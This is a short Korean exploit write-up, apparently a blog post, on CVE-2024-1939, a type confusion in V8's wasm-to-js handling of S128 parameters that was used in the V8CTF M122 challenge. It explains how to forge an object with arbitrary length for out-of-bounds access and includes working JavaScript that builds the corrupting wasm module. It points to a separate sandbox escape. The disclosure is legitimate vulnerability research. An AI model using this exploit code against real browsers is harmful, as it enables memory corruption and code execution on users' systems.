
V8CTF M122용
이 글은 CVE-2024-1939에 대한 짧은 분석 글입니다. V8CTF M122를 클레임하는 데 사용했던 취약점입니다.
이 이슈의 근본 원인은 wasm-to-js 변환에서 kWasmS128에 대한 지원이 부족하다는 점입니다. 구체적으로, 매개변수 스택에서 발생하는 wasmS128Const 연산이 무시되어, 매개변수에 ExprRef가 존재할 때 유형 혼동(type confusion)이 발생합니다.
자세히 설명하면, 이로 인해 int/float가 직접 객체로 변환됩니다. 따라서 임의 길이를 가진 가짜 배열을 쉽게 구성할 수 있으며, 이를 통해 OOB 읽기/쓰기가 가능해집니다. 여전히 우회해야 할 장애물이 하나 있습니다. wasmS128Const는 FPSlot에 저장되는 float 타입 매개변수만 대체하며, GPSlot에 저장되는 태그된 매개변수에는 영향을 미치지 않습니다. 해결 방법은 StackSlot에 있습니다. FP/GP 레지스터에는 크기 제한이 있습니다. 그 후 매개변수는 순서대로 StackSlot에 저장됩니다. 레지스터를 채우고 StackSlot에 float 숫자를 넣으면, 태그된 매개변수가 StackSlot에서 파싱되어 우리가 원하는 가짜 객체를 얻을 수 있습니다.
최종 익스플로잇은 단순성과 속도를 위해 이 wasm 모듈의 빌더를 포함하지 않습니다. 그래서 여기에 빌더를 첨부합니다.
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
메모리를 안정화하기 위해 워커(worker)를 사용합니다. 워커 스레드에서는 주소가 상대적으로 안정적으로 유지되는 것이 관찰되었기 때문입니다.
샌드박스 우회에 대해서는 V8-Sandbox-Escape-via-Regexp를 참조하세요. 최종 익스플로잇은 일반적인 orw 체인을 사용하여 플래그를 stderr로 출력합니다.